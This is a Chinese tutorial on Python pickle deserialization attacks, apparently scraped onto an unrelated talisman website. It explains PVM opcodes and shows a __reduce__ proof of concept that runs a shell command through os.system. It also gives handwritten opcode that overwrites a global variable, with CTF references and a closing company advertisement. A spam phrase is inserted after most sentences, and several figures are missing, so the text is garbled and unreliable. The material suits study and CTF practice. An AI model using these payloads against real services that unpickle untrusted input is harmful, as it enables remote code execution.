三清阁符咒网

【技术分享】Python反序列化-手写opcode

符咒网    2023-03-17    70

01 写在开篇

模块 pickle 实现了对一个 Python 对象结构的二进制序列化和反序列化太原道教灵符网请符。"pickling" 是将 Python 对象及其所拥有的层次结构转化为一个字节流的过程,而 "unpickling" 是相反的操作,会将(来自一个 binary file 或者 bytes-like object 的)字节流转化回一个对象层次结构。pickling(和 unpickling)也被称为“序列化”, “编组” 或者 “平面化”。而为了避免混乱,此处采用术语 “封存 (pickling)” 和 “解封 (unpickling)”。

* pickle.dumps(object):用于序列化一个对象太原道教灵符网请符

* pickle.loads(picklestring):用于反序列化数据,实现一个对象的构建太原道教灵符网请符

过程展现:

1. 如果直接定义类 dairy,其中的data text文件将不会被序列化太原道教灵符网请符

2. 需要设定init才可以把以下属性序列化进去太原道教灵符网请符

3. 反序列化如下显示太原道教灵符网请符

4. 序列化数组亦可,如下显示太原道教灵符网请符

5. pickle不仅可以序列化字符串,也可以读写文件,使用pickle.dump()和pickle.load() 即可太原道教灵符网请符

小结:

(一)序列化过程

* 从对象中提取所有属性(__dict__)太原道教灵符网请符,并将属性转为键值对

* 写入对象的类名

* 写入键值对

(二)反序列化过程

* 获取 pickle 输入流

* 重建属性列表

* 根据保存的类名创建一个新的对象

* 将属性复制到新的对象中

02 __reduce__()

__reduce__()类似于PHP中的__wakeup__魔法函数太原道教灵符网请符。如果当__reduce__返回值为一个元组(2到5个参数),第一个参数是可调用(callable)的对象,第二个是该对象所需的参数元组。在这种情况下,反序列化时会自动执行__reduce__里面的操作。

1. 测试代码太原道教灵符网请符

2.运行结果太原道教灵符网请符

3.弹计算机太原道教灵符网请符

03 pickle简介

pickle 是一种栈语言,有不同的编写方式,是基于一个轻量的 PVM(Pickle Virtual Machine)太原道教灵符网请符

(一)PVM 的组成部分太原道教灵符网请符

·指令处理器

从流中读取 opcode 和参数,并对其进行解释处理太原道教灵符网请符。重复这个动作,直到遇“.”这个结束符后停止。最终留在栈顶的值将被作为反序列化对象返回。

·stack

由 Python 的 list 实现,被用来临时存储数据、参数以及对象太原道教灵符网请符

·memo

由 Python 的 dict 实现,为 PVM 的整个生命周期提供存储太原道教灵符网请符

备注:注意 stack、memo 的实现方式,方便理解接下来的指令太原道教灵符网请符

当前用于 pickling 的协议共有 5 种太原道教灵符网请符。使用的协议版本越高,读取生成的 pickle 所需的 Python 版本就要越新。

* v0 版协议是原始的 “人类可读” 协议,并且向后兼容早期版本的 Python太原道教灵符网请符

* v1 版协议是较早的二进制格式,它也与早期版本的 Python 兼容太原道教灵符网请符

* v2 版协议是在 Python 2.3 中引入的太原道教灵符网请符。它为存储 new-style class 提供了更高效的机制。欲了解有关第 2 版协议带来的改进,请参阅 PEP 307。

* v3 版协议添加于 Python 3.0太原道教灵符网请符。它具有对 bytes 对象的显式支持,且无法被 Python 2.x 打开。这是目前默认使用的协议,也是在要求与其他 Python 3 版本兼容时的推荐协议。

* v4 版协议添加于 Python 3.4太原道教灵符网请符。它支持存储非常大的对象,能存储更多种类的对象,还包括一些针对数据格式的优化。有关第 4 版协议带来改进的信息,请参阅 PEP 3154。

(二)指令集太原道教灵符网请符

(三)汇总:

1. c:读取新的一行作为模块名module,读取下一行作为对象名object,并将module.object压入到堆栈中太原道教灵符网请符

2. (:将一个标记对象插入到堆栈中太原道教灵符网请符。为实现目的,该指令会与t搭配使用,以产生一个元组。

3. t:从堆栈中弹出对象,直到一个“(”被弹出和创建一个包含弹出对象(除了“(”)的元组对象,并且这些对象的顺序必须与它们压入堆栈时的顺序一致,再将该元组压入到堆栈中太原道教灵符网请符

4. S:读取引号中的字符串直到换行符处,并将它压入堆栈太原道教灵符网请符

5. R:将一个元组和一个可调用对象弹出堆栈,以该元组作为参数可调用的对象,并将结果压入到堆栈中太原道教灵符网请符

6. .:结束pickle太原道教灵符网请符

7. 动态图解释:

参考:

8. opmode版本如下显示太原道教灵符网请符

9. pickle3版本的opcode示例太原道教灵符网请符

04 pickletools 工具使用

pickletools.optimize目的就是为了去除声明q ,q:储存栈顶的字符串长度为一个字节(即\x00)太原道教灵符网请符

1. 变量覆盖太原道教灵符网请符

/usr/local/var/pyenv/versions/3.7.0/bin/python

/Users/Tkith/Tkitn'sCodeProject/Tkitnpygogogo/aix.py

0: \x80 PROTO3

2: cGLOBAL'builtins exec'

17: qBINPUT0

19: XBINUNICODE "key1=b'1'\nkey2=b'2'"

43: qBINPUT1

45: \x85 TUPLE1 #声明第一个元祖

46: qBINPUT2

48: RREDUCE

49: qBINPUT3

51: .STOP

highest protocol among opcodes = 2

b'1' b'2'

None

Process finished with exit code 0

2. 简单rce太原道教灵符网请符

import pickle

import os

class genpoc(object):

def __reduce__(self):

s = """echo test poc.txt""" # 要执行的命令

return os.system, (s,) # reduce函数必须

返回元组或字符串

e = genpoc()

poc = pickle.dumps(e)

print(poc) # 此时,如果 pickle.loads(poc),就会执行命令太原道教灵符网请符

3. 手写opcode

·在CTF中,很多时候需要一次执行多个函数或一次操作多个指令,此时就不能只用__reduce__ 来解决问题太原道教灵符网请符。因为reduce一次只能执行一个函数,当exec被禁用时,就不能一次执行多条指令了,所以需要手动拼接或构造opcode了。手写opcode也是pickle反序列化中较难之处。

·此处可以体会到为何pickle是一种语言,直接编写opcode的灵活性比使用pickle序列化生成的代码更高太原道教灵符网请符。只要符合pickle语法,就可以进行变量覆盖、函数执行等操作。

·根据前文不同版本的opcode可以看出,版本0的opcode更便于阅读太原道教灵符网请符。所以手动编写时,一般选用版本0的opcode。下文中,所有opcode均为版本0的opcode。

全局变量覆盖

# secret.py

name='TEST3213qkfsmfo'

#main.py

import pickle

import secret

opcode='''c__main__

secret

(S'name'

S'1'

db.'''

print('before:',secret.name)

output=pickle.loads(opcode.encode())

print('output:',output)

print('after:',secret.name)

通过c获取全局变量secret,建立一个字典,并使用b对secret进行属性设置,将会使用到payload太原道教灵符网请符

opcode='''c__main__

secret

(S'name'

S'1'

db.'''

4. 函数执行

与函数执行相关的opcode有三个:R、i、o ,所以我们可以从三个方向进行构造太原道教灵符网请符

练习题:ikun

练习题目:

[watevrCTF-2019]Pickle Store

wp:

wp2:

wp3:不出网

推荐使用的wp:

05 了解小星太原道教灵符网请符,了解星云博创

星云博创科技有限(简称“星云博创”)成立于2016年,是国内新兴的网络安全产品、可信安全管理平台、专业安全服务与解决方案的综合提供商太原道教灵符网请符。星云博创设北京为北方总部,广州为南方总部,并于成都、合肥、南昌、贵州、武汉、太原、哈尔滨等多个城市设立分支机构。同时,星云博创为不断完善客户服务体系和应急响应体系,在全国10余个省、市、自治区、直辖市建立三级服务支持中心,7×24小时接收客户需求,及时提供标准一致的安全服务。

作为一家以技术先导的企业,星云博创始终坚持在网络安全、数据安全、态势感知、等级保护、合规性安全管理等领域进行技术创新,利用安全分析、大数据分析、人工智能等技术,对网络空间安全要素、安全风险进行深度挖掘与关联分析,构建了多层次的纵深防御体系,持续推出态势感知平台、静态脱敏系统、终端安全监测系统等一系列优秀的安全产品和行业解决方案,广泛应用于政府、运营商、医疗、教育、电力、能源等多个领域,让风险无所遁形太原道教灵符网请符

星云博创已获得ISO9001、ISO27001、 ISO20000管理体系认证,CMMI5软件成熟度认证,信息系统安全集成服务、信息安全风险评估服务、软件安全开发服务资质的CCRC二级认证,及安全运维服务资质、应急处理服务资质的CCRC三级认证太原道教灵符网请符。此外,星云博创还是国家信息安全漏洞库(CNNVD)技术支撑单位、海南省网络安全应急技术支撑单位、广州市应急联动机构支撑单位。

本文链接:https://fuzhouwang.org/index.php/post/11637.html

转载声明:本站文章中有转载或采集其他网站内容, 如有转载的文章涉及到您的权益及版权,还麻烦及时联系我们,我们将及时删除,谢谢配合。

上一篇   下一篇

相关文章